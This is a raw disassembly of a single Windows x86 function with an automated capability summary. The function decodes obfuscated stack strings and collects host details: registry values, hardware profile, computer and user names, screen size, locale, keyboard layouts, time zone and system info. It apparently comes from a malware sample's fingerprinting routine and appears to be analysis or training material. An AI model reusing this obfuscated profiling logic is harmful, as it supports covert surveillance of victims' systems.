Function at 0x40cfd0
Capabilities:
Contain obfuscated stackstrings
Enumerate processes
Get geographical location
Get hostname
Get keyboard layout
Get memory capacity
Get session user name
Get system information on windows
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x5067d4
push eax
mov eax, 0x20b8
mov dword fs:[0], esp
call fcn.004e0840
push ebx
push esi
push edi
mov dword [ebp - 0x254], 0
mov dword [ebp - 4], 3
lea ecx, [ebp - 0x206]
mov dword [ebp - 0x206], 0x8c8781bb
mov dword [ebp - 0x202], 0x8f809e84
mov dword [ebp - 0x1fe], 0x9c9e999b
mov dword [ebp - 0x1fa], 0x828d80dd
mov word [ebp - 0x1f6], 0x100
call fcn.00465800
lea eax, [ebp - 0x206]
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x358]
call fcn.0046d070
add esp, 4
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x170]
mov dword [ebp - 0x170], 0x1008a90
call fcn.00465900
lea ecx, [ebp - 0x358]
call fcn.004687e0
lea ecx, [ebp - 0x170]
push ecx
push eax
call fcn.004e5920
mov ebx, eax
add esp, 8
mov dword [ebp - 0x16c], ebx
test ebx, ebx
je 0x40eb23
call fcn.0040b0d0
mov dword [ebp - 0x14], eax
mov ecx, 0x544394
neg eax
sbb edi, edi
and edi, 0x100
add edi, 0x20019
mov dword [ebp - 0x10], edi
call fcn.004687e0
lea ecx, [ebp - 0xeb]
mov dword [ebp - 0xeb], 0x86809da5
mov esi, eax
mov dword [ebp - 0xe7], 0xcbcdd68f
mov dword [ebp - 0xe3], 0xfbfd9c
mov byte [ebp - 0xdf], 1
call fcn.00465890
push esi
lea eax, [ebp - 0xeb]
push eax
push ebx
call fcn.00403170
add esp, 0xc
mov ecx, 0x544350
call fcn.004687e0
lea ecx, [ebp - 0x1e3]
mov dword [ebp - 0x1e3], 0x999b8db1
mov esi, eax
mov dword [ebp - 0x1df], 0xd4838382
mov dword [ebp - 0x1db], 0xff82d5cf
mov dword [ebp - 0x1d7], 0xfff9f9
mov byte [ebp - 0x1d3], 1
call fcn.004657d0
push esi
lea eax, [ebp - 0x1e3]
push eax
push ebx
call fcn.00403170
push 0
call fcn.004eda6b
mov dword [ebp - 0x290], eax
lea eax, [ebp - 0x290]
push eax
mov dword [ebp - 0x28c], edx
call fcn.004edf53
add esp, 0x14
mov dword [ebp - 0xa0], 0x8f9d89a3
lea ecx, [ebp - 0xa0]
mov dword [ebp - 0x9c], 0x9dc8ccd1
mov esi, eax
mov word [ebp - 0x98], 0x100
call fcn.004657a0
push esi
lea eax, [ebp - 0xa0]
push eax
push ebx
call fcn.00403170
add esp, 0xc
mov dword [ebp - 0x17d], 0x848286b2
lea ecx, [ebp - 0x17d]
mov dword [ebp - 0x179], 0x839b84
mov byte [ebp - 0x175], 1
call fcn.00465930
lea eax, [ebp - 0x2e8]
mov ecx, eax
mov dword [ebp - 0x18], eax
call fcn.00402f30
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x17d]
lea edx, [ecx + 1]
lea ebx, [ebx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40d200
sub ecx, edx
lea eax, [ebp - 0x17d]
push ecx
push eax
lea ecx, [ebp - 0x2e8]
call fcn.00402ea0
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x11f]
mov dword [ebp - 0x250], 0
mov dword [ebp - 0x11f], 0xbeafa7b4
mov dword [ebp - 0x11b], 0xabbfadbc
mov dword [ebp - 0x117], 0x9198bdb3
mov dword [ebp - 0x113], 0x99869b81
mov dword [ebp - 0x10f], 0xb9a58c91
mov dword [ebp - 0x10b], 0x8a8d8589
mov dword [ebp - 0x107], 0x63736790
mov dword [ebp - 0x103], 0x7c6c73
mov byte [ebp - 0xff], 1
call fcn.00465b30
lea eax, [ebp - 0x250]
push eax
push edi
push 0
lea eax, [ebp - 0x11f]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40d358
lea ecx, [ebp - 0xfb]
mov dword [ebp - 0x1a4], 0x20019
mov dword [ebp - 0x270], 0x400
mov dword [ebp - 0xfb], 0x828a89aa
mov dword [ebp - 0xf7], 0xa9888282
mov dword [ebp - 0xf3], 0x95999a
mov byte [ebp - 0xef], 1
call fcn.00465890
lea eax, [ebp - 0x270]
push eax
lea eax, [ebp - 0xbb8]
push eax
lea eax, [ebp - 0x1a4]
push eax
push 0
lea eax, [ebp - 0xfb]
push eax
push dword [ebp - 0x250]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40d34c
lea ecx, [ebp - 0xbb8]
lea edx, [ecx + 1]
jmp 0x40d330
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40d330
sub ecx, edx
lea eax, [ebp - 0xbb8]
push ecx
push eax
lea ecx, [ebp - 0x2e8]
call fcn.00468880
push dword [ebp - 0x250]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x2e8]
call fcn.004687e0
lea ecx, [ebp - 0x1f4]
mov dword [ebp - 0x1f4], 0x828a89aa
mov esi, eax
mov dword [ebp - 0x1f0], 0xa7888282
mov dword [ebp - 0x1ec], 0xd7d1caab
mov dword [ebp - 0x1e8], 0xfff980
mov byte [ebp - 0x1e4], 1
call fcn.004657d0
push esi
lea eax, [ebp - 0x1f4]
push eax
push ebx
call fcn.00403170
add esp, 0xc
mov dword [ebp - 0x186], 0x848286b2
lea ecx, [ebp - 0x186]
mov dword [ebp - 0x182], 0x839b84
mov byte [ebp - 0x17e], 1
call fcn.00465930
lea eax, [ebp - 0x2d0]
mov ecx, eax
mov dword [ebp - 0x18], eax
call fcn.00402f30
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x186]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40d3f3
sub ecx, edx
lea eax, [ebp - 0x186]
push ecx
push eax
lea ecx, [ebp - 0x2d0]
call fcn.00402ea0
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x514]
push 0x7c
push 0
push eax
call fcn.004e1ab0
add esp, 0xc
lea eax, [ebp - 0x514]
push eax
call dword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileA]
test eax, eax
je 0x40d45c
lea ecx, [ebp - 0x510]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40d440
sub ecx, edx
lea eax, [ebp - 0x510]
push ecx
push eax
lea ecx, [ebp - 0x2d0]
call fcn.00468880
lea ecx, [ebp - 0x2d0]
call fcn.004687e0
lea ecx, [ebp - 0x1d2]
mov dword [ebp - 0x1d2], 0xaea0bda0
mov esi, eax
mov dword [ebp - 0x1ce], 0x9dc8ccd1
mov dword [ebp - 0x1ca], 0x100fae2
call fcn.00465770
push esi
lea eax, [ebp - 0x1d2]
push eax
push ebx
call fcn.00403170
add esp, 0xc
lea ecx, [ebp - 0x410]
call fcn.0040c1a0
mov edi, eax
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x68]
mov word [ebp - 0x68], 0xb8
mov byte [ebp - 0x66], 1
call fcn.004658f0
lea ecx, [ebp - 0x428]
call fcn.0040c110
mov esi, eax
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x163]
mov word [ebp - 0x163], 0xb8
mov byte [ebp - 0x161], 1
call fcn.004658f0
lea ecx, [ebp - 0x166]
mov word [ebp - 0x166], 0xb8
mov byte [ebp - 0x164], 1
call fcn.004658f0
lea eax, [ebp - 0x166]
push eax
lea edx, [ebp - 0x2e8]
lea ecx, [ebp - 0x440]
call fcn.0046d070
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x2d0]
push ecx
mov edx, eax
lea ecx, [ebp - 0x458]
call fcn.0046d2f0
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x163]
push ecx
mov edx, eax
lea ecx, [ebp - 0x3e0]
call fcn.0046d100
add esp, 0xc
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x3b0]
push esi
push eax
push dword [ebp - 0x18]
call fcn.00470cf0
lea eax, [ebp - 0x68]
mov dword [ebp - 0x254], 0x40
push eax
lea edx, [ebp - 0x3b0]
lea ecx, [ebp - 0x3c8]
call fcn.0046d100
mov byte [ebp - 4], 0x11
mov edx, eax
push edi
lea ecx, [ebp - 0x370]
call fcn.0046d3a0
add esp, 8
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x3c8]
call fcn.00402c80
mov byte [ebp - 4], 0x13
lea eax, [ebp - 0x3c8]
mov dword [ebp - 0x18], eax
mov byte [ebp - 4], 0x13
mov eax, 0x40
mov dword [ebp - 0x254], eax
and eax, 0xffffffbf
mov dword [ebp - 0x254], eax
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x3b0]
call fcn.00402c80
mov byte [ebp - 4], 0x17
lea eax, [ebp - 0x3b0]
mov dword [ebp - 0x138], eax
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x3e0]
call fcn.00402c80
mov byte [ebp - 4], 0x1b
lea eax, [ebp - 0x3e0]
mov dword [ebp - 0x174], eax
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x458]
call fcn.00402c80
mov byte [ebp - 4], 0x1f
lea eax, [ebp - 0x458]
mov dword [ebp - 0x15c], eax
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0x440]
call fcn.00402c80
mov byte [ebp - 4], 0x23
lea eax, [ebp - 0x440]
mov dword [ebp - 0x244], eax
mov byte [ebp - 4], 0x28
lea ecx, [ebp - 0x428]
call fcn.00402c80
mov byte [ebp - 4], 0x27
lea eax, [ebp - 0x428]
mov dword [ebp - 0x30], eax
mov byte [ebp - 4], 0x2c
lea ecx, [ebp - 0x410]
call fcn.00402c80
mov byte [ebp - 4], 0x2b
lea eax, [ebp - 0x410]
mov dword [ebp - 0x160], eax
mov byte [ebp - 4], 0x2b
xor eax, eax
mov dword [ebp - 0x30c], eax
mov dword [ebp - 0x308], eax
mov dword [ebp - 0x304], eax
mov dword [ebp - 0x300], eax
mov dword [ebp - 0x2fc], eax
mov dword [ebp - 0x2f8], eax
mov dword [ebp - 0x2f4], eax
lea ecx, [ebp - 0x5e4]
mov dword [ebp - 0x2f0], eax
mov byte [ebp - 0x2ec], al
call fcn.00486d10
mov esi, dword [ebp - 0x360]
lea ecx, [ebp - 0x370]
call fcn.004687e0
push esi
push eax
lea ecx, [ebp - 0x5e4]
call fcn.00486af0
push 0
lea ecx, [ebp - 0x5e4]
call fcn.00486bc0
cmp byte [ebp - 0x548], 0
je 0x40d71a
mov ecx, 8
lea esi, [ebp - 0x537]
lea edi, [ebp - 0x30c]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x12d]
mov dword [ebp - 0x12d], 0xaea0bfaf
mov dword [ebp - 0x129], 0x9dc8ccd1
mov dword [ebp - 0x125], 0x100fae2
call fcn.00465770
lea eax, [ebp - 0x30c]
push eax
lea eax, [ebp - 0x12d]
push eax
push ebx
call fcn.00403170
push 0x104
lea eax, [ebp - 0xcbc]
push 0
push eax
call fcn.004e1ab0
add esp, 0x18
mov dword [ebp - 0x244], 0
lea eax, [ebp - 0x244]
push eax
push 0x40bf20
push 4
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
push 0x104
lea eax, [ebp - 0xcbc]
push eax
push dword [ebp - 0x244]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x8b]
mov dword [ebp - 0x8b], 0x8bb9e2ea
mov dword [ebp - 0x87], 0xced7849f
mov dword [ebp - 0x83], 0xf8fc83ca
mov word [ebp - 0x7f], 0x100
call fcn.00465740
lea eax, [ebp - 0xcbc]
push eax
lea eax, [ebp - 0x8b]
push eax
push ebx
call fcn.00403170
add esp, 0xc
lea ecx, [ebp + 8]
call fcn.004687e0
lea ecx, [ebp - 0xb3]
mov dword [ebp - 0xb3], 0x819b87b0
mov esi, eax
mov dword [ebp - 0xaf], 0x9c84a8cb
mov dword [ebp - 0xab], 0x81d4d0d5
mov dword [ebp - 0xa7], 0xfcf8fefe
mov word [ebp - 0xa3], 0x100
call fcn.00465800
push esi
lea eax, [ebp - 0xb3]
push eax
push ebx
call fcn.00403170
add esp, 0xc
cmp dword [ebp + 0x60], 0
je 0x40d852
lea ecx, [ebp + 0x50]
call fcn.004687e0
mov esi, eax
jmp 0x40d857
mov esi, 0x51fca4
lea ecx, [ebp - 0x95]
mov dword [ebp - 0x95], 0xcad3b8ae
mov dword [ebp - 0x91], 0xe4e09fce
mov word [ebp - 0x8d], 0x100
call fcn.004657a0
push esi
lea eax, [ebp - 0x95]
push eax
push ebx
call fcn.00403170
add esp, 0xc
cmp dword [ebp + 0x48], 0
je 0x40d8a2
lea ecx, [ebp + 0x38]
call fcn.004687e0
mov edi, eax
jmp 0x40d8a7
mov edi, 0x51fca4
cmp dword [ebp + 0x30], 0
je 0x40d8b9
lea ecx, [ebp + 0x20]
call fcn.004687e0
mov esi, eax
jmp 0x40d8be
mov esi, 0x51fca4
lea ecx, [ebp - 0xc8]
mov dword [ebp - 0xc8], 0x8b8a87ab
mov dword [ebp - 0xc4], 0x8082859f
mov dword [ebp - 0xc0], 0x81d4d0d5
mov dword [ebp - 0xbc], 0x85d0d4df
mov dword [ebp - 0xb8], 0x100f2fa
call fcn.00465710
push edi
push esi
lea eax, [ebp - 0xc8]
push eax
push ebx
call fcn.00403170
add esp, 0x10
lea ecx, [ebp - 0x288]
call fcn.004655f0
mov byte [ebp - 4], 0x2f
mov edi, dword [0x5442fc]
mov esi, dword [0x5442f8]
cmp esi, edi
je 0x40d946
lea esp, [esp]
push dword [esi]
lea ecx, [ebp - 0x288]
call fcn.004654d0
add esi, 8
inc dword [eax]
cmp esi, edi
jne 0x40d930
lea eax, [ebp - 0x2a8]
mov ecx, eax
mov dword [ebp - 0x18], eax
call fcn.00402f30
mov byte [ebp - 4], 0x31
lea ecx, [ebp - 0x2a8]
push 0
push 0x51f88a
call fcn.00402ea0
mov byte [ebp - 4], 0x32
xor edi, edi
mov eax, dword [ebp - 0x288]
mov eax, dword [eax]
mov dword [ebp - 0x15c], eax
cmp byte [eax + 0xd], 0
jne 0x40d9b4
cmp dword [eax + 0x28], edi
lea esi, [eax + 0x10]
jle 0x40d99d
push esi
lea ecx, [ebp - 0x2a8]
call fcn.004689f0
mov edi, dword [esi + 0x18]
lea ecx, [ebp - 0x15c]
call fcn.0046a090
mov eax, dword [ebp - 0x15c]
cmp byte [eax + 0xd], 0
je 0x40d986
cmp dword [ebp - 0x298], 0
ja 0x40d9fd
lea ecx, [ebp - 0x15f]
mov word [ebp - 0x15f], 0xca
mov byte [ebp - 0x15d], 1
call fcn.004658f0
lea ecx, [ebp - 0x15f]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40d9e1
sub ecx, edx
lea eax, [ebp - 0x15f]
push ecx
push eax
lea ecx, [ebp - 0x2a8]
call fcn.00468880
lea ecx, [ebp - 0x2a8]
call fcn.004687e0
lea ecx, [ebp - 0x19f]
mov dword [ebp - 0x19f], 0xcab9a1bd
mov esi, eax
mov dword [ebp - 0x19b], 0x9a98adc3
mov dword [ebp - 0x197], 0x9e989680
mov dword [ebp - 0x193], 0xccdc879f
mov dword [ebp - 0x18f], 0xf78addd7
mov word [ebp - 0x18b], 0xf1
mov byte [ebp - 0x189], 1
call fcn.00465a40
push esi
lea eax, [ebp - 0x19f]
push eax
push ebx
call fcn.00403170
add esp, 0xc
mov dword [ebp - 0x24c], 0
lea ecx, [ebp - 0x5e]
mov dword [ebp - 0x5e], 0xbeafa7b4
mov dword [ebp - 0x5a], 0xabbfadbc
mov dword [ebp - 0x56], 0x9198bdb3
mov dword [ebp - 0x52], 0x99869b81
mov dword [ebp - 0x4e], 0xada58c91
mov dword [ebp - 0x4a], 0x91999292
mov dword [ebp - 0x46], 0x4c217388
mov dword [ebp - 0x42], 0x73465857
mov dword [ebp - 0x3e], 0x646c7a75
mov dword [ebp - 0x3a], 0x7c685a7f
mov dword [ebp - 0x36], 0x7c7e797c
mov word [ebp - 0x32], 0x100
call fcn.004654a0
lea eax, [ebp - 0x24c]
push eax
push dword [ebp - 0x10]
lea eax, [ebp - 0x5e]
push 0
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40dbf1
lea ecx, [ebp - 0x7d]
mov dword [ebp - 0x138], 0x20019
mov dword [ebp - 0x174], 0x400
mov dword [ebp - 0x7d], 0x8e869ab7
mov dword [ebp - 0x79], 0xa0998f9e
mov dword [ebp - 0x75], 0x949d8e
mov byte [ebp - 0x71], 1
call fcn.00465890
lea eax, [ebp - 0x174]
push eax
lea eax, [ebp - 0x14c4]
push eax
lea eax, [ebp - 0x138]
push eax
push 0
lea eax, [ebp - 0x7d]
push eax
push dword [ebp - 0x24c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40dbe5
cmp dword [ebp - 0x14], eax
je 0x40db72
mov dword [ebp - 0x1c1], 0xddde9f
lea esi, [ebp - 0x1c1]
mov byte [ebp - 0x1bd], 1
jmp 0x40db89
mov dword [ebp - 0x1c6], 0xdbdb9f
lea esi, [ebp - 0x1c6]
mov byte [ebp - 0x1c2], 1
mov ecx, esi
call fcn.00465b90
lea ecx, [ebp - 0xdd]
mov dword [ebp - 0xdd], 0x8e8781b0
mov dword [ebp - 0xd9], 0xd49e9b84
mov dword [ebp - 0xd5], 0xd282d5cf
mov dword [ebp - 0xd1], 0xab86d1a8
mov dword [ebp - 0xcd], 0x100f2fa
call fcn.00465710
push esi
lea eax, [ebp - 0x14c4]
push eax
lea eax, [ebp - 0xdd]
push eax
push ebx
call fcn.00403170
add esp, 0x10
push dword [ebp - 0x24c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x104
lea eax, [ebp - 0xdc0]
push 0
push eax
call fcn.004e1ab0
add esp, 0xc
mov dword [ebp - 0x26c], 0x104
lea eax, [ebp - 0x26c]
push eax
lea eax, [ebp - 0xdc0]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea ecx, [ebp - 0x3f8]
call fcn.0040cd30
mov byte [ebp - 4], 0x33
mov ecx, eax
call fcn.004687e0
lea ecx, [ebp - 0x220]
mov dword [ebp - 0x220], 0x9a8487a4
mov esi, eax
mov dword [ebp - 0x21c], 0x9c88989e
mov dword [ebp - 0x218], 0x9f90becf
mov dword [ebp - 0x214], 0xd3d5ce96
mov dword [ebp - 0x210], 0xdfa2d884
mov dword [ebp - 0x20c], 0xf4f0a188
mov word [ebp - 0x208], 0x100
call fcn.00465aa0
push esi
lea eax, [ebp - 0xdc0]
push eax
lea eax, [ebp - 0x220]
push eax
push ebx
call fcn.00403170
add esp, 0x10
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0x3f8]
call fcn.00402c80
mov byte [ebp - 4], 0x32
lea eax, [ebp - 0x3f8]
mov dword [ebp - 0x18], eax
mov byte [ebp - 4], 0x32
lea eax, [ebp - 0xec4]
push 0x104
push 0
push eax
call fcn.004e1ab0
add esp, 0xc
mov dword [ebp - 0x248], 0x104
lea eax, [ebp - 0x248]
push eax
lea eax, [ebp - 0xec4]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea ecx, [ebp - 0x29]
mov dword [ebp - 0x29], 0x988c9bb2
mov dword [ebp - 0x25], 0x838ca2cb
mov dword [ebp - 0x21], 0xd7d1ca8a
mov dword [ebp - 0x1d], 0xfff980
mov byte [ebp - 0x19], 1
call fcn.004657d0
lea eax, [ebp - 0xec4]
push eax
lea eax, [ebp - 0x29]
push eax
push ebx
call fcn.00403170
add esp, 0xc
call dword [sym.imp.USER32.dll_GetDesktopWindow]
lea ecx, [ebp - 0x398]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
mov dword [ebp - 0x23d], 0x9a9a81a3
mov dword [ebp - 0x239], 0xce948d87
mov dword [ebp - 0x235], 0x9d8295bd
mov dword [ebp - 0x231], 0x9f81819f
lea ecx, [ebp - 0x23d]
mov dword [ebp - 0x22d], 0xdac39698
mov dword [ebp - 0x229], 0xdb8598de
mov dword [ebp - 0x225], 0xb0d9b
mov byte [ebp - 0x221], 1
call fcn.00465470
push dword [ebp - 0x38c]
lea eax, [ebp - 0x23d]
push dword [ebp - 0x390]
push eax
push ebx
call fcn.00403170
push 0x400
lea eax, [ebp - 0x18c4]
push 0
push eax
call fcn.004e1ab0
add esp, 0x1c
lea eax, [ebp - 0x18c4]
push 0x200
push eax
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLocaleName]
mov byte [ebp - 0x139], 1
test eax, eax
je 0x40de43
lea ecx, [ebp - 0x151]
mov dword [ebp - 0x151], 0x9a9a81a3
mov dword [ebp - 0x14d], 0xce948d87
mov dword [ebp - 0x149], 0x959f91a3
mov dword [ebp - 0x145], 0x93929586
mov dword [ebp - 0x141], 0x8ddcd8cd
mov dword [ebp - 0x13d], 0xf7f188
call fcn.00465440
lea eax, [ebp - 0x18c4]
push eax
lea eax, [ebp - 0x151]
jmp 0x40dead
lea ecx, [ebp - 0x155]
mov dword [ebp - 0x155], 0x9a9a81a3
mov dword [ebp - 0x151], 0xce948d87
mov dword [ebp - 0x14d], 0x959f91a3
mov dword [ebp - 0x149], 0x93929586
mov dword [ebp - 0x145], 0x94acd8cd
mov dword [ebp - 0x141], 0x89929290
mov dword [ebp - 0x13d], 0xb0d91
call fcn.00465470
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x30], 0x1009bc2
call fcn.00465900
lea eax, [ebp - 0x155]
push eax
lea eax, [ebp - 0x30]
push eax
push ebx
call fcn.00403170
add esp, 0xc
mov dword [ebp - 0x1ba], 0x88908dac
lea ecx, [ebp - 0x1ba]
mov dword [ebp - 0x1b6], 0x8a9f8d84
mov dword [ebp - 0x1b2], 0x9c90bccf
mov dword [ebp - 0x1ae], 0x91948194
mov dword [ebp - 0x1aa], 0xdac38b92
mov word [ebp - 0x1a6], 0x100
call fcn.00465410
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x14], 0x1009bc2
call fcn.00465900
lea eax, [ebp - 0x1ba]
push eax
lea eax, [ebp - 0x14]
push eax
push ebx
call fcn.00403170
push 0x200
lea eax, [ebp - 0x10c4]
push 0
push eax
call fcn.004e1ab0
mov esi, dword [sym.imp.USER32.dll_GetKeyboardLayoutList]
add esp, 0x18
push 0
push 0
call esi
mov dword [ebp - 0x10], eax
lea ecx, [eax*4]
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, eax
test edi, edi
je 0x40dffc
push edi
push dword [ebp - 0x10]
call esi
xor esi, esi
mov dword [ebp - 0x18], eax
test eax, eax
je 0x40dff5
nop
push 0x200
lea eax, [ebp - 0x10c4]
push eax
movzx eax, word [edi + esi*4]
push 2
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test esi, esi
jne 0x40dfa8
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x10], 0x1009bc2
call fcn.00465900
lea eax, [ebp - 0x10c4]
push eax
lea eax, [ebp - 0x10]
jmp 0x40dfcb
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x70], 0xcfc9c7c7
mov word [ebp - 0x6c], 0x98
mov byte [ebp - 0x6a], 1
call fcn.00465b60
lea eax, [ebp - 0x10c4]
push eax
lea eax, [ebp - 0x70]
push eax
push ebx
call fcn.00403170
add esp, 0xc
lea eax, [ebp - 0x10c4]
push 0x200
push 0
push eax
call fcn.004e1ab0
inc esi
add esp, 0xc
cmp esi, dword [ebp - 0x18]
jb 0x40df70
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor eax, eax
mov dword [ebp - 0x280], eax
mov dword [ebp - 0x27c], eax
mov dword [ebp - 0x278], eax
mov dword [ebp - 0x274], eax
lea eax, [ebp - 0x280]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
lea ecx, [ebp - 0x121]
mov dword [ebp - 0x121], 0x85a5e2ea
mov dword [ebp - 0x11d], 0xce818d88
mov dword [ebp - 0x119], 0x979c99bb
mov dword [ebp - 0x115], 0x92d0d4c9
mov dword [ebp - 0x111], 0xd59dddd8
mov dword [ebp - 0x10d], 0xdbdd98de
mov dword [ebp - 0x109], 0x66243a9b
mov dword [ebp - 0x105], 0xb612139
mov word [ebp - 0x101], 0xd
mov byte [ebp - 0xff], 1
call fcn.004653e0
movzx eax, word [ebp - 0x274]
push eax
movzx eax, word [ebp - 0x276]
push eax
movzx eax, word [ebp - 0x278]
push eax
movzx eax, word [ebp - 0x280]
push eax
movzx eax, word [ebp - 0x27e]
push eax
movzx eax, word [ebp - 0x27a]
push eax
lea eax, [ebp - 0x121]
push eax
push ebx
call fcn.00403170
xor eax, eax
add esp, 0x20
mov dword [ebp - 0x2b8], eax
mov dword [ebp - 0x2b4], eax
mov dword [ebp - 0x2b0], eax
mov dword [ebp - 0x2ac], eax
lea eax, [ebp - 0x2b8]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 0xac
lea eax, [ebp - 0x690]
push 0
push eax
call fcn.004e1ab0
add esp, 0xc
lea eax, [ebp - 0x690]
push eax
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
xor eax, eax
mov dword [ebp - 0x31c], eax
mov dword [ebp - 0x318], eax
mov dword [ebp - 0x314], eax
mov dword [ebp - 0x310], eax
lea eax, [ebp - 0x31c]
push eax
lea eax, [ebp - 0x2b8]
push eax
lea eax, [ebp - 0x690]
push eax
call dword [sym.imp.KERNEL32.dll_TzSpecificLocalTimeToSystemTime]
fild dword [ebp - 0x690]
lea ecx, [ebp - 0xb4]
fstp dword [ebp - 0x18]
fld dword [ebp - 0x18]
fdiv qword [0x52b118]
mov dword [ebp - 0xb4], 0x8f8481b3
mov dword [ebp - 0xb0], 0x8b8383b1
mov dword [ebp - 0xac], 0xa6a4d0d5
mov dword [ebp - 0xa8], 0xfb91d1b0
mov word [ebp - 0xa4], 0xfd
mov byte [ebp - 0xa2], 1
fchs
fstp dword [ebp - 0x18]
call fcn.00465a10
fld dword [ebp - 0x18]
call fcn.00504410
push eax
lea eax, [ebp - 0xb4]
push eax
push ebx
call fcn.00403170
add esp, 0xc
mov dword [ebp - 0xfe], 0xa2b2e2ea
lea ecx, [ebp - 0xfe]
mov dword [ebp - 0xfa], 0x99899e8a
mov dword [ebp - 0xf6], 0xaf94828e
mov dword [ebp - 0xf2], 0x100fefe
call fcn.004653b0
lea ecx, [ebp - 0x10]
mov dword [ebp - 0x10], 0x1009bc2
call fcn.00465900
lea eax, [ebp - 0xfe]
push eax
lea eax, [ebp - 0x10]
push eax
push ebx
call fcn.00403170
add esp, 0xc
mov dword [ebp - 0x258], 0
lea ecx, [ebp - 0x60]
mov dword [ebp - 0x60], 0xaebba9af
mov dword [ebp - 0x5c], 0xabbfadbc
mov dword [ebp - 0x58], 0xa1b4b4b3
mov dword [ebp - 0x54], 0xa6bca6b0
mov dword [ebp - 0x50], 0xb4b6b1a3
mov dword [ebp - 0x4c], 0x8d84afa7
mov dword [ebp - 0x48], 0x5e6c658b
mov dword [ebp - 0x44], 0x726b6140
mov dword [ebp - 0x40], 0x5a656975
mov dword [ebp - 0x3c], 0x6b6e6379
mov dword [ebp - 0x38], 0x607e637c
mov dword [ebp - 0x34], 0x100244f
call fcn.00465b00
lea eax, [ebp - 0x258]
push eax
push 0x20019
push 0
lea eax, [ebp - 0x60]
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40e369
lea ecx, [ebp - 0xde]
mov dword [ebp - 0x138], 0x20019
mov dword [ebp - 0x18], 0x400
mov dword [ebp - 0xde], 0x89869ab7
mov dword [ebp - 0xda], 0x819e9f8e
mov dword [ebp - 0xd6], 0x9f90be9d
mov dword [ebp - 0xd2], 0x8481a796
mov dword [ebp - 0xce], 0x9e969e
mov byte [ebp - 0xca], 1
call fcn.00465380
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x14c4]
push eax
lea eax, [ebp - 0x138]
push eax
push 0
lea eax, [ebp - 0xde]
push eax
push dword [ebp - 0x258]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40e35d
lea ecx, [ebp - 0x29]
mov dword [ebp - 0x29], 0x89869ab7
mov dword [ebp - 0x25], 0x819e9f8e
mov dword [ebp - 0x21], 0xd7d1ca9d
mov dword [ebp - 0x1d], 0xfff980
mov byte [ebp - 0x19], 1
call fcn.004657d0
lea eax, [ebp - 0x14c4]
push eax
lea eax, [ebp - 0x29]
push eax
push ebx
call fcn.00403170
add esp, 0xc
push dword [ebp - 0x258]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov dword [ebp - 0x340], eax
mov dword [ebp - 0x33c], eax
mov dword [ebp - 0x338], eax
mov dword [ebp - 0x334], eax
mov dword [ebp - 0x330], eax
mov dword [ebp - 0x32c], eax
mov dword [ebp - 0x328], eax
mov dword [ebp - 0x324], eax
mov dword [ebp - 0x320], eax
lea eax, [ebp - 0x340]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
lea ecx, [ebp - 0x29]
mov dword [ebp - 0x29], 0xcabcb8a4
mov dword [ebp - 0x25], 0x809883a8
mov dword [ebp - 0x21], 0xd7d1ca9b
mov dword [ebp - 0x1d], 0xfff997
mov byte [ebp - 0x19], 1
call fcn.004657d0
push dword [ebp - 0x32c]
lea eax, [ebp - 0x29]
push eax
push ebx
call fcn.00403170
add esp, 0xc
